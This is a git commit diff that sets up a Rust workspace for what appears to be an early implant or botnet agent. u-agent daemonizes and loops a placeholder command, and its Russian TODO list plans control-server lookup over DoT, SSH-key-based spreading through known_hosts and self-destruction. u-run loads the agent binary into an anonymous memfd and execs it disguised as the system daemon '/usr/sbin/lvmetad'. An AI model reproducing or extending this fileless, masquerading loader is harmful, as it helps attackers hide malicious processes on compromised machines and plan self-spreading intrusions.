commit
1401c0efc4
7 changed files with 205 additions and 0 deletions
@ -0,0 +1,6 @@ |
||||
[workspace] |
||||
members = [ |
||||
"u-run", |
||||
"u-server", |
||||
"u-agent" |
||||
] |
@ -0,0 +1,19 @@ |
||||
[package] |
||||
name = "u-agent" |
||||
version = "0.1.0" |
||||
authors = ["plazmoid <kronos44@mail.ru>"] |
||||
edition = "2018" |
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html |
||||
|
||||
[dependencies] |
||||
nix = "0.17" |
||||
libc = "^0.2" |
||||
sysinfo = "0.10.5" |
||||
#lazy_static = "1.4.0" |
||||
log = "^0.4" |
||||
env_logger = "0.7.1" |
||||
|
||||
[profile.release] |
||||
panic = 'abort' |
||||
# strip |
@ -0,0 +1,70 @@ |
||||
// TODO:
|
||||
// поддержка питона
|
||||
// резолв адреса управляющего сервера через DoT
|
||||
// кроссплатформенность (реализовать интерфейс для винды и никсов)
|
||||
// перезапуск через memfd_create
|
||||
// проверка обнов
|
||||
// проверка ssh ключей и распространение через known_hosts
|
||||
// самоуничтожение
|
||||
|
||||
use std::process::exit; |
||||
|
||||
use nix::{ |
||||
unistd::{ |
||||
getppid, |
||||
setsid, |
||||
fork, |
||||
ForkResult, |
||||
close as fdclose, |
||||
chdir |
||||
}, |
||||
sys::signal::{ |
||||
signal, |
||||
Signal, |
||||
SigHandler |
||||
} |
||||
}; |
||||
|
||||
fn setsig(sig: Signal, hnd: SigHandler) { |
||||
unsafe { |
||||
signal(sig, hnd).unwrap(); |
||||
} |
||||
} |
||||
|
||||
fn daemonize() { |
||||
if getppid().as_raw() != 1 { |
||||
setsig(Signal::SIGTTOU, SigHandler::SigIgn); |
||||
setsig(Signal::SIGTTIN, SigHandler::SigIgn); |
||||
setsig(Signal::SIGTSTP, SigHandler::SigIgn); |
||||
} |
||||
for fd in 0..=2 { |
||||
match fdclose(fd) { _ => () } |
||||
} |
||||
match chdir("/") { _ => () }; |
||||
|
||||
match fork() { |
||||
Ok(ForkResult::Parent {..}) => { |
||||
exit(0); |
||||
}, |
||||
Ok(ForkResult::Child) => { |
||||
match setsid() { _ => () } |
||||
} |
||||
Err(_) => { |
||||
exit(255) |
||||
} |
||||
} |
||||
} |
||||
|
||||
fn main() { |
||||
use std::process::Command; |
||||
use std::thread::sleep; |
||||
use std::time::Duration; |
||||
daemonize(); |
||||
loop { |
||||
sleep(Duration::from_secs(2)); |
||||
Command::new("touch") |
||||
.arg("/tmp/win2") |
||||
.output() |
||||
.unwrap(); |
||||
} |
||||
} |
@ -0,0 +1,11 @@ |
||||
[package] |
||||
name = "u-run" |
||||
version = "0.1.0" |
||||
authors = ["plazmoid <kronos44@mail.ru>"] |
||||
edition = "2018" |
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html |
||||
|
||||
[dependencies] |
||||
nix = "0.17" |
||||
libc = "^0.2" |
@ -0,0 +1,87 @@ |
||||
use nix::{ |
||||
sys::memfd::{memfd_create, MemFdCreateFlag}, |
||||
unistd::execv |
||||
}; |
||||
use libc::{ |
||||
fdopen, |
||||
fwrite, |
||||
c_void, |
||||
getpid |
||||
}; |
||||
use std::{ |
||||
ffi::{CString, CStr}, |
||||
fs::{File, read_dir}, |
||||
io::Read |
||||
}; |
||||
|
||||
fn get_uagent_data() -> Option<Vec<u8>> { |
||||
// TODO: if not ls - then download
|
||||
let ls = read_dir("./").unwrap(); |
||||
for dirfile in ls { |
||||
let filename: std::path::PathBuf = dirfile.unwrap().path(); |
||||
if filename.ends_with("u-agent") { |
||||
let mut file = File::open(filename).unwrap(); |
||||
let mut data: Vec<u8> = vec![]; |
||||
file.read_to_end(&mut data).unwrap(); |
||||
return Some(data) |
||||
} |
||||
} |
||||
None |
||||
} |
||||
|
||||
fn get_proc_name() -> CString { |
||||
CString::new("/usr/sbin/lvmetad").unwrap() |
||||
} |
||||
|
||||
fn create_memfd() -> i32 { |
||||
let name = get_proc_name(); |
||||
let fd = memfd_create( |
||||
&name,
|
||||
MemFdCreateFlag::empty() |
||||
).unwrap(); |
||||
assert!(fd > 0); |
||||
fd |
||||
} |
||||
|
||||
fn main() { |
||||
let agent_data: Vec<u8> = { |
||||
let mut data; |
||||
loop { |
||||
data = get_uagent_data(); |
||||
if data.is_some() { |
||||
break; |
||||
} |
||||
} |
||||
data.unwrap() |
||||
}; |
||||
let ad_len = agent_data.len(); |
||||
let fd = create_memfd(); |
||||
let file = unsafe { |
||||
let res = fdopen(fd,
|
||||
CStr::from_bytes_with_nul(b"w\0") |
||||
.unwrap().as_ptr() |
||||
); |
||||
if res.is_null() { |
||||
panic!("WTF!"); |
||||
} |
||||
res |
||||
}; |
||||
let res_len = unsafe { |
||||
fwrite( |
||||
agent_data.as_ptr() as *const c_void,
|
||||
1, ad_len, file |
||||
) |
||||
}; |
||||
if res_len != ad_len { |
||||
panic!("write wasn't successful: {}, need {}", |
||||
res_len, ad_len); |
||||
} |
||||
let exec_path: String = format!("/proc/{}/fd/{}", |
||||
unsafe { getpid() }, fd); |
||||
let proc_name = get_proc_name(); |
||||
let args = [proc_name.as_c_str()]; |
||||
execv( |
||||
&CString::new(exec_path).unwrap(),
|
||||
&args |
||||
).unwrap(); |
||||
} |
@ -0,0 +1,9 @@ |
||||
[package] |
||||
name = "u-server" |
||||
version = "0.1.0" |
||||
authors = ["plazmoid <kronos44@mail.ru>"] |
||||
edition = "2018" |
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html |
||||
|
||||
[dependencies] |
@ -0,0 +1,3 @@ |
||||
fn main() { |
||||
println!("Hello, world!"); |
||||
} |
Loading…
Reference in new issue